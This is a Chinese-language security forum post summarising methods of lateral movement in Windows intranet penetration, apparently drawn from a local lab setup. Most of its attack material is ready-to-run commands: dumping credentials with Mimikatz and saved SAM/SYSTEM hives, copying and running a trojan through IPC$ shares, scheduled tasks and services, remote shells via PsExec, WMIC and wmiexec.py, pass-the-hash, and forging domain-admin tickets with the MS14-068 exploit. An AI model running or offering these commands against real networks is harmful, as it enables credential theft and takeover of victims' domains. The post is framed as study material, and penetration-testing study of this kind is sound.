安全矩阵

 找回密码
 立即注册
搜索
查看: 345|回复: 0

横向移动方法总结

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-3-20 20:34:45 | 显示全部楼层 |阅读模式
本帖最后由 adopi 于 2023-3-20 20:34 编辑

原文链接:横向移动方法总结

前言
     想起之前工作的时候,师傅问过我关于横向移动的方法,那个时候我心里清楚,但是不知道该怎么表述。本篇继上一篇信息收集后,侧重于横向移动。


热点新闻
     2023年3月17日,联邦调查局发出警告:加密货币投资诈骗行动正在不断增加。该诈骗行动在过去两年中造成的经济损失超过2022亿美元。英国国家网络安全中心(NCSC)围绕ChatGPT的隐私安全提出担忧,警告用户避免通过ChatGPT 询问关于敏感信息的语言学习模型。


横向移动简介
     为了总结本篇内容,本文查阅了较多内容,在本地搭建了相应的环境。网络拓扑如下:
      网上找的一个免费画图工具,但是不能编辑名称。上图中的1代表的是攻击机,2代表的是内网某一台主机,3代表的是内网的域控。从web到内网,当操作者获得了某台内网机器的控制权限后,通常会以被攻陷的主机为跳板,继续访问或控制其他内网机器。这一过程也被称为横向移动。
参考资料:内网渗透:获取Windows内Hash密码方法总结 - 安全内参 | 决策者的网络安全知识库 (secrss.com)内网渗透:横向移动方法总结 - 安全内参 | 决策者的网络安全知识库 (secrss.com)
「 超详细 | 分享 」手把手教你如何进行内网渗透

获取hash密码
在windows下,安全机制总共有两种,一种是基于NTLM,主要是在工作组环境中使用;另一种是基于Kerberos,主要是在域环境中使用。关于kerberos的描述,请参考之前的一篇:Kerberos详解 (qq.com)抓取windows密码,主要的工具是Minikatz、PwDump。这里演示Minikatz:命令:
  1. <font size="2" face="Tahoma">privilege::debug
  2. sekurlsa::logonpasswords full</font>
复制代码


若在域环境下前提是域主机中有服务是由域控发起的,此时通过minikatz可以得到当前主机的域用户名、域账户密码、NTML、SHA1、SID以及域控的账户、域名、NTLM、SID等。若是在工作组中, 此时通过minikatz可以得到当前用户的用户名和密码、NTLM等。
关于Minikatz的其他用法,请参考之前发表的文章Minikatz简单总结 (qq.com)
此外,也可以通过SAM和System文件抓取密码和hash。命令如下:
  1. <font size="2" face="Tahoma">reg save hklm\sam sam.hive
  2. reg save hklm\system system.hive</font>
复制代码
       然后将生成的hive文件利用MiniKatz读取,相关命令:
  1. <font size="2" face="Tahoma">token::elevate
  2. lsadump::sam</font>
复制代码

Windows远程连接命令
Windows自带的远程连接命令IPC,其本质是一个共享的“命名管道”资源,主要的作用是为了让进程间通信而开放一个命名管道,通过提供可信任的用户名和口令,从而到达连接双方可以建立一个安全的通道并以此进行加密数据交换的功能,最终显现出来的效果就是能够实现对远程计算机的访问。建立IPC连接,必须满足三个条件:1、目标主机开启了139和445端口;2、目标主机管理员开启了IPC$默认共享;3、已经获得目标机的账户和密码。相关的命令有:
  1. <font size="2" face="Tahoma">net share
  2. net use \\目标ip\ipc$ "密码"  /user:"用户名"
  3. copy shell.exe \\目标ip\c$
  4. net use H: \\目标ip\c$
  5. net use /del</font>
复制代码

还可以通过IPC+计划任务的方式进行横向移动。在Windowsserver 2008之前的版本用at;
  1. <font size="2" face="Tahoma">at \\192.168.37.130 时间 c:\shell.exe</font>
复制代码
       在之后的版本中使用schtasks;
  1. <font size="2" face="Tahoma">schtasks /create /s 192.168.37.130 /u username /p password /tn hack /sc minute /mo 1 /tr c:\shell.exe /ru system /f</font>
复制代码
利用schtasks命令创建一个名为“hack”的计划任务,该任务每分钟执行一次shell.exe。
此外,还可以考虑将传入的木马文件创建为一个Windows服务,最后启动该服务或者重启目标机即可触发该木马,实现横向移动。相关指令为:
  1. <font size="2" face="Tahoma">sc \\192.168.37.130 create <servicename> binpath=”<path>”
  2. sc \\192.168.37.130 start <servicename>
  3. </font>
复制代码

利用PsExec工具进行横向渗透
PsExec 是 windows 下非常好的一款远程命令行工具。成功执行PsExec,需要满足的条件:1、目标主机开启了admin$共享 (该共享默认开启)2、目标主机未开启防火墙。工具地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexecPsExec的攻击流程:当成功运行PsExec后,会在目标主机中创建一个PsExec服务并启动,之后攻击者可以在跳板机上面利用PsExec的远程命令构造一个交互shell即可实现横向移动。相关命令:
  1. <font size="2" face="Tahoma">PsExec.exe-accepteula \\<目标机IP> -s cmd.exe</font>
复制代码


利用WMI进行横向渗透
WMI是系统自带的一系列工具集,可以通过135端口上的RPC服务进行远程访问,或者执行远程命令。相比PsExec,WMI更加隐蔽,由于是无文件攻击,所以操作系统默认不会记录数据到日志中。相关命令:列出目标机上的进程信息:
  1. <font size="2" face="Tahoma">wmic /node:<目标机IP>/user:<name> /password:<password> process list brief
  2. </font>
复制代码

       攻击者利用WMIC并结合ipc+type执行远程交互指令。攻击者通过WMIC命令启动目标机上的cmd程序,执行命令并将结果保存在C:\result.txt文件中,然后利用type命令读取目标机上result.txt文件的内容,实现交互。
  1. <font size="2" face="Tahoma">wmic /node:192.168.210.102/user:administrator /password:Gsycl3541 process call create "cmd.exe /c<命令> > C:\result.txt"</font>
复制代码

  1. <font size="2" face="Tahoma">Type \\192.168.210.102\c$\result.txt</font>
复制代码

      攻击者利用wmiexec.py,通过提交目标机的用户名及密码,即可直接获得一个交互式shell,成功进行横向移动。
  1. <font size="2" face="Tahoma">Python wmiexec.py<username>:<password>@<目的IP></font>
复制代码


利用哈希传递攻击进行横向渗透
哈希传递攻击也称为PTH(Pass The Hash),是一种在内网渗透中很重要的一种横向移动方法,通过PTH攻击者可以在不需要知道明文密码的情况下,利用NTLM Hash和LM HASH直接登录目标机或者反弹Shell。需要满足的条件:1、当前主机的管理员权限2、域管理员曾经登陆过这台主机。相关命令:
  1. <font size="2" face="Tahoma">sekurlsa::pth /user:<用户名> /domain:<IP或者域名> /ntlm:<域账号的Hash值></font>
复制代码
      执行完上述命令后,会回弹一个shell,利用该shell可以无需用户名和密码远程访问域控或其他域内主机

     利用此方法,不仅可以登陆域控,也可以登陆域内其他主机,如果输入的是域名则会传递到域控当中,如果输入的是域内机器主机IP则会传递到相应主机中。

利用票据传递攻击进行横向移动

票据传递攻击也成为PTT,是一种基于Kerberos协议的攻击。和PTH的不同,除了协议外,还有就是目标机器的管理权限非必须。Kerberos协议中还有一个PAC,称为特权属性证书,是用来验证客户端的访问权限。MS14-068,该漏洞允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意的PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了PAC的Kerberos TGT来获得票证,进而伪造票据获得管理员权限。使用ms14-068的相关命令如下:
  1. <font size="2" face="Tahoma">ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码</font>
复制代码
ms14-068的下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

此时会生成ccache文件。然后再次利用minikatz,将票据注入到内存中。命令:
  1. <font size="2" face="Tahoma">mimikatz # kerberos::ptc 票据文件</font>
复制代码

      注入成功后,可以与域控直接建立远程连接,执行命令等操作,如下:














本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 17:07 , Processed in 0.013125 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表